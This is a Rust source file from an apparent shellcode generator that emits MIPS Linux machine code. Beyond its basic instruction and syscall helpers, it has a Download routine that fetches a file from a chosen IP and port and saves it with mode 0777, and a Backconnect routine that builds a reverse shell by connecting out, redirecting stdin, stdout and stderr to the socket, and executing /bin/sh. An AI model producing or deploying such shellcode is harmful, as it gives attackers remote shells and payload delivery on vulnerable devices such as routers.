ShellcodeGenerator/Mips/
Linux.rs

1use crate::Endian;
2use crate::Mips::MipsRegister;
3
4use super::{RTypeInstruction, ITypeInstruction};
5use super::{MipsInstruction, MipsInstructionOpcode, MipsInstructionFunctionCode};
6
7
8#[derive (Debug, Clone)]
9pub struct Shell
10{
11	endian: Endian,
12	instructions: Vec<MipsInstruction>,
13}
14
15impl Shell
16{
17	pub fn New (endian: Endian) -> Self
18	{
19		Self
20		{
21			endian,
22			instructions: Vec::new (),
23		}
24	}
25
26	pub fn Lui (&mut self, rt: MipsRegister, number: u16)
27	{
28		self.instructions.push (MipsInstruction::IType(ITypeInstruction::New (MipsInstructionOpcode::LUI, MipsRegister::ZERO, rt, number)));
29	}
30
31	pub fn Ori (&mut self, rt: MipsRegister, rs: MipsRegister, number: u16)
32	{
33		self.instructions.push (MipsInstruction::IType(ITypeInstruction::New (MipsInstructionOpcode::ORI, rs, rt, number)));
34	}
35
36	pub fn Or (&mut self, rd: MipsRegister, rt: MipsRegister, rs: MipsRegister)
37	{
38		self.instructions.push (MipsInstruction::RType(RTypeInstruction::New (MipsInstructionOpcode::REG, rs, rt, rd, 0, MipsInstructionFunctionCode::OR)));
39	}
40
41	pub fn Li (&mut self, register: MipsRegister, number: u32)
42	{
43		let upperHalf = ((number&0xffff_0000)>>16) as u16;
44		let lowerHalf = (number&0x0000_ffff) as u16;
45		self.Lui (register, upperHalf);
46		self.Ori (register, register, lowerHalf);
47	}
48
49	pub fn Add (&mut self, rd: MipsRegister, rs: MipsRegister, rt: MipsRegister)
50	{
51		self.instructions.push (MipsInstruction::RType(RTypeInstruction::New (MipsInstructionOpcode::REG, rs, rt, rd, 0, MipsInstructionFunctionCode::ADD)));
52	}
53
54	pub fn Addi (&mut self, rt: MipsRegister, rs: MipsRegister, imm: i16)
55	{
56		self.instructions.push (MipsInstruction::IType(ITypeInstruction::New (MipsInstructionOpcode::ADDI, rs, rt, imm as u16)))
57	}
58
59	pub fn Addiu (&mut self, rt: MipsRegister, rs: MipsRegister, imm: u16)
60	{
61		self.instructions.push (MipsInstruction::IType(ITypeInstruction::New (MipsInstructionOpcode::ADDIU, rs, rt, imm)))
62	}
63
64	pub fn Sub (&mut self, rd: MipsRegister, rs: MipsRegister, rt: MipsRegister)
65	{
66		self.instructions.push (MipsInstruction::RType(RTypeInstruction::New (MipsInstructionOpcode::REG, rs, rt, rd, 0, MipsInstructionFunctionCode::SUB)));
67	}
68
69	pub fn Subu (&mut self, rd: MipsRegister, rs: MipsRegister, rt: MipsRegister)
70	{
71		self.instructions.push (MipsInstruction::RType(RTypeInstruction::New (MipsInstructionOpcode::REG, rs, rt, rd, 0, MipsInstructionFunctionCode::SUBU)));
72	}
73
74	pub fn Subi (&mut self, rt: MipsRegister, rs: MipsRegister, imm: i16)
75	{
76		self.instructions.push (MipsInstruction::IType(ITypeInstruction::New (MipsInstructionOpcode::ADDI, rs, rt, -imm as u16)))
77	}
78
79	pub fn Xori (&mut self, rt: MipsRegister, rs: MipsRegister, imm: u16)
80	{
81		self.instructions.push (MipsInstruction::IType(ITypeInstruction::New (MipsInstructionOpcode::XORI, rs, rt, imm as u16)))
82	}
83
84	pub fn Mult (&mut self, rs: MipsRegister, rt: MipsRegister)
85	{
86		self.instructions.push (MipsInstruction::RType(RTypeInstruction::New (MipsInstructionOpcode::REG, rs, rt, MipsRegister::ZERO, 0, MipsInstructionFunctionCode::MULT)));
87	}
88
89	pub fn Multu (&mut self, rs: MipsRegister, rt: MipsRegister)
90	{
91		self.instructions.push (MipsInstruction::RType(RTypeInstruction::New (MipsInstructionOpcode::REG, rs, rt, MipsRegister::ZERO, 0, MipsInstructionFunctionCode::MULTU)));
92	}
93
94	pub fn Mfhi (&mut self, rd: MipsRegister)
95	{
96		self.instructions.push (MipsInstruction::RType(RTypeInstruction::New (MipsInstructionOpcode::REG, MipsRegister::ZERO, MipsRegister::ZERO, rd, 0, MipsInstructionFunctionCode::MFHI)));
97	}
98
99	pub fn Mflo (&mut self, rd: MipsRegister)
100	{
101		self.instructions.push (MipsInstruction::RType(RTypeInstruction::New (MipsInstructionOpcode::REG, MipsRegister::ZERO, MipsRegister::ZERO, rd, 0, MipsInstructionFunctionCode::MFLO)));
102	}
103
104	pub fn Lb (&mut self, rt: MipsRegister, rs: MipsRegister, offset: i16)
105	{
106		self.instructions.push (MipsInstruction::IType(ITypeInstruction::New (MipsInstructionOpcode::LB, rs, rt, offset as u16)));
107	}
108
109	pub fn Lhu (&mut self, rt: MipsRegister, rs: MipsRegister, offset: i16)
110	{
111		self.instructions.push (MipsInstruction::IType(ITypeInstruction::New (MipsInstructionOpcode::LHU, rs, rt, offset as u16)));
112	}
113
114	pub fn Lw (&mut self, rt: MipsRegister, rs: MipsRegister, offset: i16)
115	{
116		self.instructions.push (MipsInstruction::IType(ITypeInstruction::New (MipsInstructionOpcode::LW, rs, rt, offset as u16)));
117	}
118
119	pub fn Sh (&mut self, rt: MipsRegister, rs: MipsRegister, offset: i16)
120	{
121		self.instructions.push (MipsInstruction::IType(ITypeInstruction::New (MipsInstructionOpcode::SH, rs, rt, offset as u16)));
122	}
123
124	pub fn Sw (&mut self, rt: MipsRegister, rs: MipsRegister, offset: i16)
125	{
126		self.instructions.push (MipsInstruction::IType(ITypeInstruction::New (MipsInstructionOpcode::SW, rs, rt, offset as u16)));
127	}
128
129	pub fn Slt (&mut self, rd: MipsRegister, rs: MipsRegister, rt: MipsRegister)
130	{
131		self.instructions.push (MipsInstruction::RType(RTypeInstruction::New (MipsInstructionOpcode::REG, rs, rt, rd, 0, MipsInstructionFunctionCode::SLT)));
132	}
133
134	pub fn Sltu (&mut self, rd: MipsRegister, rs: MipsRegister, rt: MipsRegister)
135	{
136		self.instructions.push (MipsInstruction::RType(RTypeInstruction::New (MipsInstructionOpcode::REG, rs, rt, rd, 0, MipsInstructionFunctionCode::SLTU)));
137	}
138
139	pub fn Slti (&mut self, rt: MipsRegister, rs: MipsRegister, imm: i16)
140	{
141		self.instructions.push (MipsInstruction::IType(ITypeInstruction::New (MipsInstructionOpcode::SLTI, rs, rt, imm as u16)));
142	}
143
144	pub fn Sltiu (&mut self, rt: MipsRegister, rs: MipsRegister, imm: u16)
145	{
146		self.instructions.push (MipsInstruction::IType(ITypeInstruction::New (MipsInstructionOpcode::SLTIU, rs, rt, imm)));
147	}
148
149	pub fn Syscall (&mut self, imm: usize)
150	{
151		// get the fill value
152		let imm = imm&0xfffff;
153		let rs = ((imm&0b11111_00000_00000_00000)>>15).try_into ().unwrap ();
154		let rt = ((imm&0b00000_11111_00000_00000)>>10).try_into ().unwrap ();
155		let rd = ((imm&0b00000_00000_11111_00000)>>5).try_into ().unwrap ();
156		let shamt = (imm&0b00000_00000_00000_11111).try_into ().unwrap ();
157
158		self.instructions.push (MipsInstruction::RType(RTypeInstruction::New (MipsInstructionOpcode::REG, rs, rt, rd, shamt, MipsInstructionFunctionCode::SYSCALL)));
159	}
160
161	// offset is instruction count, aka offset>>2
162	pub fn Bne (&mut self, rs: MipsRegister, rt: MipsRegister, offset: i16)
163	{
164		self.instructions.push (MipsInstruction::IType(ITypeInstruction::New (MipsInstructionOpcode::BNE, rs, rt, offset as u16)));
165	}
166
167	// offset is instruction count, aka offset>>2
168	pub fn Beq (&mut self, rs: MipsRegister, rt: MipsRegister, offset: i16)
169	{
170		self.instructions.push (MipsInstruction::IType(ITypeInstruction::New (MipsInstructionOpcode::BEQ, rs, rt, offset as u16)));
171	}
172
173	pub fn Sync (&mut self)
174	{
175		self.instructions.push (MipsInstruction::RType(RTypeInstruction::New (MipsInstructionOpcode::REG, MipsRegister::T9, MipsRegister::T9, MipsRegister::T9, 0, MipsInstructionFunctionCode::SYNC)));
176	}
177
178	// sub $sp by 4
179	pub fn PushU32 (&mut self, value: u32)
180	{
181		// save $t0
182		self.Subi (MipsRegister::SP, MipsRegister::SP, 8);
183		self.Sw (MipsRegister::T0, MipsRegister::SP, 0);
184
185		// load value to $t0 and push $t0 to stack
186		self.Li (MipsRegister::T0, value);
187		self.Sw (MipsRegister::T0, MipsRegister::SP, 4);
188		self.Addi (MipsRegister::SP, MipsRegister::SP, 4);
189	}
190
191	// always pad data to 4 bytes chunk
192	// return the number of $sp subtracted
193	pub fn PushByteArray (&mut self, data: &[u8]) -> usize
194	{
195		let mut data = data.to_vec ();
196
197		// align data
198		let paddingLen = ((data.len () + 4 - 1)/4)*4 - data.len ();
199		data.append (&mut vec! [0u8; paddingLen]);
200
201		for i in (0..data.len ()).step_by (4).rev ()
202		{
203			match self.endian
204			{
205				Endian::BIG =>
206					self.PushU32 (u32::from_be_bytes (data[i..i + 4].try_into ().unwrap ())),
207				Endian::LITTLE => self.PushU32 (u32::from_le_bytes (data[i..i + 4].try_into ().unwrap ())),
208			};
209		}
210
211		data.len ()
212	}
213
214	pub fn PushString (&mut self, string: &str) -> usize
215	{
216		let mut tmp = string.as_bytes ().to_vec ();
217		tmp.push (0);   // add null byte
218		self.PushByteArray (&tmp)
219	}
220
221	pub fn GetLabel (&self) -> usize
222	{
223		self.instructions.len ()
224	}
225
226	// label is usize, instruction count, aka offset>>2
227	pub fn BeqLabel (&mut self, rs: MipsRegister, rt: MipsRegister, label: usize)
228	{
229		let offset = label as isize - (self.instructions.len () as isize + 1);
230		self.Beq (rs, rt, offset as i16);
231	}
232
233	// label is usize, instruction count, aka offset>>2
234	pub fn BneLabel (&mut self, rs: MipsRegister, rt: MipsRegister, label: usize)
235	{
236		let offset = label as isize - (self.instructions.len () as isize + 1);
237		self.Bne (rs, rt, offset as i16);
238	}
239
240	pub fn ToByteArray (&self) -> Vec<u8>
241	{
242		let mut result = Vec::new ();
243
244		for instruction in &self.instructions
245		{
246			result.append (&mut instruction.ToByteArray (self.endian));
247		}
248
249		result
250	}
251
252	pub fn ToAssemblySource (&self) -> String
253	{
254		let mut result = String::new ();
255
256		for instruction in &self.instructions
257		{
258			result.push_str (&instruction.ToAssemblySource ());
259		}
260
261		result
262	}
263
264	// return fd in $v0
265	// TODO: add flags
266	pub fn CreateFile (&mut self, filename: &str, mode: u32)
267	{
268		let filenameSize = self.PushString (filename);
269
270		// call open ('$sp', 'O_RDWR', 0777)
271		self.Addi (MipsRegister::A0, MipsRegister::SP, 0);
272		self.Li (MipsRegister::A1, 0x102);
273		self.Li (MipsRegister::A2, mode);
274		self.Li (MipsRegister::V0, 0xfa5);
275		self.Syscall (0x40404);
276
277		// restore stack
278		self.Addi (MipsRegister::SP, MipsRegister::SP, filenameSize as i16);
279	}
280
281	pub fn OpenFile (&mut self, filename: &str, mode: u32)
282	{
283		unimplemented! ();
284	}
285
286	pub fn ReadFromFile (&mut self, filename: &str, bufAddr: MipsRegister, size: usize)
287	{
288		unimplemented! ();
289	}
290
291	pub fn ReadFromFd (&mut self, fd: usize, bufAddr: MipsRegister, size: usize)
292	{
293		// save args
294		self.Subi (MipsRegister::SP, MipsRegister::SP, 4);
295		self.Sw (bufAddr, MipsRegister::SP, 0);
296
297		// load args
298		self.Li (MipsRegister::A0, fd as u32);
299		self.Lw (MipsRegister::A1, MipsRegister::SP, 0);
300		self.Li (MipsRegister::A2, size as u32);
301		self.Li (MipsRegister::V0, 0xfa3);
302		self.Syscall (0x40404);
303
304		// restore stack
305		self.Addi (MipsRegister::SP, MipsRegister::SP, 4);
306	}
307
308	pub fn ReadFromFdRegister (&mut self, fdReg: MipsRegister, bufAddr: MipsRegister, size: usize)
309	{
310		// save args
311		self.Subi (MipsRegister::SP, MipsRegister::SP, 8);
312		self.Sw (fdReg, MipsRegister::SP, 0);
313		self.Sw (bufAddr, MipsRegister::SP, 4);
314
315		// load args
316		self.Lw (MipsRegister::A0, MipsRegister::SP, 0);
317		self.Lw (MipsRegister::A1, MipsRegister::SP, 4);
318		self.Li (MipsRegister::A2, size as u32);
319		self.Li (MipsRegister::V0, 0xfa3);
320		self.Syscall (0x40404);
321
322		// restore stack
323		self.Addi (MipsRegister::SP, MipsRegister::SP, 8);
324	}
325
326	pub fn WriteToFile (&mut self, filename: &str, bufAddr: MipsRegister, size: usize)
327	{
328		unimplemented! ();
329	}
330
331	pub fn WriteToFd (&mut self, fd: usize, bufAddr: MipsRegister, size: usize)
332	{
333		// save args
334		self.Subi (MipsRegister::SP, MipsRegister::SP, 4);
335		self.Sw (bufAddr, MipsRegister::SP, 0);
336
337		// load args
338		self.Li (MipsRegister::A0, fd as u32);
339		self.Lw (MipsRegister::A1, MipsRegister::SP, 0);
340		self.Li (MipsRegister::A2, size as u32);
341		self.Li (MipsRegister::V0, 0xfa4);
342		self.Syscall (0x40404);
343
344		// restore stack
345		self.Addi (MipsRegister::SP, MipsRegister::SP, 4);
346	}
347
348	pub fn WriteToFdRegister (&mut self, fdReg: MipsRegister, bufAddr: MipsRegister, size: usize)
349	{
350		// save args
351		self.Subi (MipsRegister::SP, MipsRegister::SP, 8);
352		self.Sw (fdReg, MipsRegister::SP, 0);
353		self.Sw (bufAddr, MipsRegister::SP, 4);
354
355		// load args
356		self.Lw (MipsRegister::A0, MipsRegister::SP, 0);
357		self.Lw (MipsRegister::A1, MipsRegister::SP, 4);
358		self.Li (MipsRegister::A2, size as u32);
359		self.Li (MipsRegister::V0, 0xfa4);
360		self.Syscall (0x40404);
361
362		// restore stack
363		self.Addi (MipsRegister::SP, MipsRegister::SP, 8);
364	}
365
366	pub fn ReadLineFromFile (&mut self, filename: &str, bufAddr: MipsRegister, maxSize: usize)
367	{
368		unimplemented! ();
369	}
370
371	pub fn ReadLineFromFd (&mut self, fd: usize, bufAddr: MipsRegister, maxSize: usize)
372	{
373		unimplemented! ();
374	}
375
376	pub fn ReadLineFromFdRegister (&mut self, fdReg: MipsRegister, bufAddr: MipsRegister, maxSize: usize)
377	{
378		// save $s0, $s1, $s2
379		self.Subi (MipsRegister::SP, MipsRegister::SP, 12);
380		self.Sw (MipsRegister::S0, MipsRegister::SP, 0);
381		self.Sw (MipsRegister::S1, MipsRegister::SP, 4);
382		self.Sw (MipsRegister::S2, MipsRegister::SP, 8);
383
384		// save args
385		self.Subi (MipsRegister::SP, MipsRegister::SP, 8);
386		self.Sw (fdReg, MipsRegister::SP, 0);
387		self.Sw (bufAddr, MipsRegister::SP, 4);
388
389		// load args
390		// $s0: fd
391		// $s1: buffer ptr
392		// $s2: maxsize
393		self.Lw (MipsRegister::S0, MipsRegister::SP, 0);
394		self.Lw (MipsRegister::S1, MipsRegister::SP, 4);
395		self.Li (MipsRegister::S2, maxSize as u32);
396
397		let readLoop = self.GetLabel ();
398
399		// read 1 byte
400		self.ReadFromFdRegister (MipsRegister::S0, MipsRegister::S1, 1);
401
402		// cmp to \n
403		// jump forward 9 instructions if ok
404		// minus 1 due to pc + 4
405		self.Li (MipsRegister::T0, 0x0a);
406		self.Lb (MipsRegister::T1, MipsRegister::S1, 0);
407		self.Beq (MipsRegister::T0, MipsRegister::T1, 8);
408		self.Or (MipsRegister::T9, MipsRegister::T9, MipsRegister::T9);
409
410		// adjust max size and buffer addr
411		self.Addi (MipsRegister::S1, MipsRegister::S1, 1);
412		self.Subi (MipsRegister::S2, MipsRegister::S2, 1);
413
414		// jump back to readLoop if $s0 != 0
415		self.BneLabel (MipsRegister::S2, MipsRegister::ZERO, readLoop);
416		self.Or (MipsRegister::T9, MipsRegister::T9, MipsRegister::T9);
417
418		//set $v0 to 1 and jump forward
419		self.Addi (MipsRegister::V0, MipsRegister::ZERO, 1);
420		self.Beq (MipsRegister::ZERO, MipsRegister::ZERO, 2);
421		self.Or (MipsRegister::T9, MipsRegister::T9, MipsRegister::T9);
422
423		// set $v0 to 0
424		self.Addi (MipsRegister::V0, MipsRegister::ZERO, 0);
425
426		// restore $s0, $s1, $s2
427		self.Addi (MipsRegister::SP, MipsRegister::SP, 8);
428		self.Lw (MipsRegister::S0, MipsRegister::SP, 0);
429		self.Lw (MipsRegister::S1, MipsRegister::SP, 4);
430		self.Lw (MipsRegister::S2, MipsRegister::SP, 8);
431
432		// restore stack
433		self.Addi (MipsRegister::SP, MipsRegister::SP, 12);
434	}
435
436	pub fn CloseFd (&mut self, fd: usize)
437	{
438		self.Li (MipsRegister::A0, fd as u32);
439		self.Li (MipsRegister::V0, 0xfa6);
440		self.Syscall (0x40404);
441	}
442
443	pub fn CloseFdRegister (&mut self, fdReg: MipsRegister)
444	{
445		self.Addi (MipsRegister::A0, fdReg, 0);
446		self.Li (MipsRegister::V0, 0xfa6);
447		self.Syscall (0x40404);
448	}
449
450	pub fn StringToInt (&mut self, bufAddr: MipsRegister)
451	{
452		// save args
453		self.Subi (MipsRegister::SP, MipsRegister::SP, 4);
454		self.Sw (bufAddr, MipsRegister::SP, 0);
455
456		// load args
457		self.Lw (MipsRegister::T0, MipsRegister::SP, 0);
458
459		// set $v0 to 0
460		self.Addi (MipsRegister::V0, MipsRegister::ZERO, 0);
461
462		let readLoop = self.GetLabel ();
463
464		// read 1 char
465		self.Lb (MipsRegister::T1, MipsRegister::T0, 0);
466
467		// check if not number, jump out
468		self.Subi (MipsRegister::T1, MipsRegister::T1, 0x30);
469		self.Sltiu (MipsRegister::T2, MipsRegister::T1, 10);
470
471		// jump forward 9 instructions
472		// minus 1 due to pc+4
473		self.Beq (MipsRegister::T2, MipsRegister::ZERO, 8);
474		self.Or (MipsRegister::T9, MipsRegister::T9, MipsRegister::T9);
475
476		// mul v0 by 10
477		self.Li (MipsRegister::T3, 10);
478		self.Multu (MipsRegister::V0, MipsRegister::T3);
479		self.Mflo (MipsRegister::V0);
480
481		// add to v0
482		self.Add (MipsRegister::V0, MipsRegister::V0, MipsRegister::T1);
483
484		// increase $t0
485		self.Addi (MipsRegister::T0, MipsRegister::T0, 1);
486
487		// jump back
488		self.BeqLabel (MipsRegister::ZERO, MipsRegister::ZERO, readLoop);
489		self.Or (MipsRegister::T9, MipsRegister::T9, MipsRegister::T9);
490
491		// restore stack
492		self.Addi (MipsRegister::SP, MipsRegister::SP, 4);
493	}
494
495	// dup from source to des
496	pub fn Dup2 (&mut self, source: MipsRegister, des: MipsRegister)
497	{
498		// save args
499		self.Subi (MipsRegister::SP, MipsRegister::SP, 8);
500		self.Sw (source, MipsRegister::SP, 0);
501		self.Sw (des, MipsRegister::SP, 4);
502
503		// load args
504		self.Lw (MipsRegister::A0, MipsRegister::SP, 0);
505		self.Lw (MipsRegister::A1, MipsRegister::SP, 4);
506
507		// call dup2 (source, des)
508		self.Li (MipsRegister::V0, 0xfdf);
509		self.Syscall (0x40404);
510
511		// restore stack
512		self.Addi (MipsRegister::SP, MipsRegister::SP, 8);
513	}
514
515	pub fn Execve (&mut self, path: &str)
516	{
517		// push path, save addr to $a0
518		let pathSize = self.PushString (path);
519		self.Addi (MipsRegister::A0, MipsRegister::SP, 0);
520
521		// build arg array
522		self.Subi (MipsRegister::SP, MipsRegister::SP, 8);
523		self.Sw (MipsRegister::A0, MipsRegister::SP, 0);
524		self.Sw (MipsRegister::ZERO, MipsRegister::SP, 4);
525
526		// call execve (path, [path, NULL], NULL)
527		self.Addi (MipsRegister::A1, MipsRegister::SP, 0);
528		self.Addi (MipsRegister::A2, MipsRegister::ZERO, 0);
529		self.Li (MipsRegister::V0, 0xfab);
530		self.Syscall (0x40404);
531
532		// restore stack
533		self.Addi (MipsRegister::SP, MipsRegister::SP, (8 + pathSize) as i16);
534	}
535
536	// return fd into v0
537	pub fn Connect (&mut self, ip: &str, port: u16)
538	{
539		let mut ip: Vec<u8> = ip.trim ().split_terminator (".").map (|x| x.parse::<u8> ().unwrap ()).collect ();
540		let mut port = port.to_be_bytes ().to_vec ();
541
542		// call socket (0, 2, 0)
543		self.Li (MipsRegister::A0, 2);
544		self.Li (MipsRegister::A1, 2);
545		self.Li (MipsRegister::A2, 0);
546		self.Li (MipsRegister::V0, 0x1057);
547		self.Syscall (0x40404);
548
549		// save $s0
550		self.Subi (MipsRegister::SP, MipsRegister::SP, 4);
551		self.Sw (MipsRegister::S0, MipsRegister::SP, 0);
552
553		// save open socket to $s0
554		self.Addi (MipsRegister::S0, MipsRegister::V0, 0);
555
556		// build struct addr
557		let mut addrStruct = Vec::new ();
558		addrStruct.push (0);
559		addrStruct.push (2);
560		addrStruct.append (&mut port);
561		addrStruct.append (&mut ip);
562
563		// push struct addr
564		let structAddrSize = self.PushByteArray (&addrStruct);
565
566		// call connect
567		self.Addi (MipsRegister::A0, MipsRegister::S0, 0);
568		self.Addi (MipsRegister::A1, MipsRegister::SP, 0);
569		self.Li (MipsRegister::A2, 0x10);
570		self.Li (MipsRegister::V0, 0x104a);
571		self.Syscall (0x40404);
572
573		// return socket in $v0
574		self.Addi (MipsRegister::V0, MipsRegister::S0, 0);
575
576		// restore stack and reload $s0
577		self.Addi (MipsRegister::SP, MipsRegister::SP, structAddrSize as i16);
578		self.Lw (MipsRegister::S0, MipsRegister::SP, 0);
579		self.Addi (MipsRegister::SP, MipsRegister::SP, 4);
580	}
581
582	pub fn Download (&mut self, ip: &str, port: u16, path: &str, filename: &str)
583	{
584		// save $s0-7
585		self.Subi (MipsRegister::SP, MipsRegister::SP, 4*8);
586		self.Sw (MipsRegister::S0, MipsRegister::SP, 0x00);
587		self.Sw (MipsRegister::S1, MipsRegister::SP, 0x04);
588		self.Sw (MipsRegister::S2, MipsRegister::SP, 0x08);
589		self.Sw (MipsRegister::S3, MipsRegister::SP, 0x0c);
590		self.Sw (MipsRegister::S4, MipsRegister::SP, 0x10);
591		self.Sw (MipsRegister::S5, MipsRegister::SP, 0x14);
592		self.Sw (MipsRegister::S6, MipsRegister::SP, 0x18);
593		self.Sw (MipsRegister::S7, MipsRegister::SP, 0x1c);
594
595		// create file, save fd to $s0
596		self.CreateFile (filename, 0o777);
597		self.Addi (MipsRegister::S0, MipsRegister::V0, 0);
598
599		// connect, save fd to $s1
600		self.Connect (ip, port);
601		self.Addi (MipsRegister::S1, MipsRegister::V0, 0);
602
603		// alloc recv buffer
604		self.Subi (MipsRegister::SP, MipsRegister::SP, 0x100);
605		self.Addi (MipsRegister::S2, MipsRegister::SP, 0);
606
607		// make request string
608		let mut requestString = String::new ();
609		requestString.push_str (&format! ("GET {} HTTP/1.1\r\n", path));
610		requestString.push_str (&format! ("Host: {}\r\n", ip));
611		requestString.push_str ("Connection: close\r\n");
612		requestString.push_str ("\r\n");
613
614		// push request string to stack, save addr to $s3
615		let requestSize = self.PushString (&requestString);
616		self.Addi (MipsRegister::S3, MipsRegister::SP, 0);
617
618		// save Content-Leng to compare later
619		self.PushString ("Content-Leng");
620		self.Lw (MipsRegister::S4, MipsRegister::SP, 0);
621		self.Lw (MipsRegister::S5, MipsRegister::SP, 4);
622		self.Lw (MipsRegister::S6, MipsRegister::SP, 8);
623		self.Addi (MipsRegister::SP, MipsRegister::SP, 12);
624
625		// send request by calling write on fd in $s1
626		self.WriteToFdRegister (MipsRegister::S1, MipsRegister::S3, requestSize);
627
628		// recv loop
629		// call read($s1, $s3, 0x100)
630		let contentLengthRecvLoop = self.GetLabel ();
631		self.ReadLineFromFdRegister (MipsRegister::S1, MipsRegister::S2, 0x100);
632
633		// load data to compare
634		self.Lw (MipsRegister::T0, MipsRegister::S2, 0);
635		self.Lw (MipsRegister::T1, MipsRegister::S2, 4);
636		self.Lw (MipsRegister::T2, MipsRegister::S2, 8);
637
638		// compare $t0-2 with $s4-6, only continue if passed all checks
639		// jump back to contentLengthRecvLoop otherwise
640		self.BneLabel (MipsRegister::T0, MipsRegister::S4, contentLengthRecvLoop);
641		self.Or (MipsRegister::T9, MipsRegister::T9, MipsRegister::T9);
642
643		self.BneLabel (MipsRegister::T1, MipsRegister::S5, contentLengthRecvLoop);
644		self.Or (MipsRegister::T9, MipsRegister::T9, MipsRegister::T9);
645
646		self.BneLabel (MipsRegister::T2, MipsRegister::S6, contentLengthRecvLoop);
647		self.Or (MipsRegister::T9, MipsRegister::T9, MipsRegister::T9);
648
649		// convert the string after 'content-length: ' to num and save to $s7
650		self.Addi (MipsRegister::T0, MipsRegister::S2, 16);
651		self.StringToInt (MipsRegister::T0);
652		self.Addi (MipsRegister::S7, MipsRegister::V0, 0);
653
654
655		// skip header loop
656		// use to skip all the remaining headers
657		let skipHeaderLoop = self.GetLabel ();
658
659		self.ReadLineFromFdRegister (MipsRegister::S1, MipsRegister::S2, 0x100);
660
661		// check if this is the last line of header '\r\n'
662		self.Lhu (MipsRegister::T0, MipsRegister::S2, 0);
663		self.Li (MipsRegister::T1, 0x0000_0d0a);
664		self.BneLabel (MipsRegister::T0, MipsRegister::T1, skipHeaderLoop);
665
666		// file recv loop
667		// read from fd in $s1, save to fd in $s0
668		// reuse the recv buffer
669		let fileRecvLoop = self.GetLabel ();
670
671		self.ReadFromFdRegister (MipsRegister::S1, MipsRegister::S2, 1);
672		self.WriteToFdRegister (MipsRegister::S0, MipsRegister::S2, 1);
673		self.Subi (MipsRegister::S7, MipsRegister::S7, 1);
674		self.BneLabel (MipsRegister::S7, MipsRegister::ZERO, fileRecvLoop);
675		self.Or (MipsRegister::T9, MipsRegister::T9, MipsRegister::T9);
676
677		// close file and socket
678		self.CloseFdRegister (MipsRegister::S0);
679		self.CloseFdRegister (MipsRegister::S1);
680
681		// restore $s0-7
682		self.Lw (MipsRegister::S0, MipsRegister::SP, 0x00);
683		self.Lw (MipsRegister::S1, MipsRegister::SP, 0x04);
684		self.Lw (MipsRegister::S2, MipsRegister::SP, 0x08);
685		self.Lw (MipsRegister::S3, MipsRegister::SP, 0x0c);
686		self.Lw (MipsRegister::S4, MipsRegister::SP, 0x10);
687		self.Lw (MipsRegister::S5, MipsRegister::SP, 0x14);
688		self.Lw (MipsRegister::S6, MipsRegister::SP, 0x18);
689		self.Lw (MipsRegister::S7, MipsRegister::SP, 0x1c);
690
691		// restore stack
692		self.Subi (MipsRegister::SP, MipsRegister::SP, 4*8);
693	}
694
695	pub fn Backconnect (&mut self, ip: &str, port: u16)
696	{
697		// save $s0-7
698		self.Subi (MipsRegister::SP, MipsRegister::SP, 4*8);
699		self.Sw (MipsRegister::S0, MipsRegister::SP, 0x00);
700		self.Sw (MipsRegister::S1, MipsRegister::SP, 0x04);
701		self.Sw (MipsRegister::S2, MipsRegister::SP, 0x08);
702		self.Sw (MipsRegister::S3, MipsRegister::SP, 0x0c);
703		self.Sw (MipsRegister::S4, MipsRegister::SP, 0x10);
704		self.Sw (MipsRegister::S5, MipsRegister::SP, 0x14);
705		self.Sw (MipsRegister::S6, MipsRegister::SP, 0x18);
706		self.Sw (MipsRegister::S7, MipsRegister::SP, 0x1c);
707
708		// connect, save fd to $s0
709		self.Connect (ip, port);
710		self.Addi (MipsRegister::S0, MipsRegister::V0, 0);
711
712		// call dup2 stdin/stdout/stderr to socket
713		self.Addi (MipsRegister::A0, MipsRegister::S0, 0);
714		self.Li (MipsRegister::A1, 0);
715		self.Dup2 (MipsRegister::A0, MipsRegister::A1);
716
717		self.Addi (MipsRegister::A0, MipsRegister::S0, 0);
718		self.Li (MipsRegister::A1, 1);
719		self.Dup2 (MipsRegister::A0, MipsRegister::A1);
720
721		self.Addi (MipsRegister::A0, MipsRegister::S0, 0);
722		self.Li (MipsRegister::A1, 2);
723		self.Dup2 (MipsRegister::A0, MipsRegister::A1);
724
725		// call execve ('sh', ['sh', NULL], NULL)
726		self.Execve ("/bin/sh");
727
728		// restore $s0-7
729		self.Lw (MipsRegister::S0, MipsRegister::SP, 0x00);
730		self.Lw (MipsRegister::S1, MipsRegister::SP, 0x04);
731		self.Lw (MipsRegister::S2, MipsRegister::SP, 0x08);
732		self.Lw (MipsRegister::S3, MipsRegister::SP, 0x0c);
733		self.Lw (MipsRegister::S4, MipsRegister::SP, 0x10);
734		self.Lw (MipsRegister::S5, MipsRegister::SP, 0x14);
735		self.Lw (MipsRegister::S6, MipsRegister::SP, 0x18);
736		self.Lw (MipsRegister::S7, MipsRegister::SP, 0x1c);
737
738		// restore stack
739		self.Addi (MipsRegister::SP, MipsRegister::SP, 4*8);
740	}
741
742	pub fn Exit (&mut self, exitcode: usize)
743	{
744		self.Li (MipsRegister::A0, exitcode as u32);
745		self.Li (MipsRegister::V0, 0xfa1);
746		self.Syscall (0x40404);
747	}
748}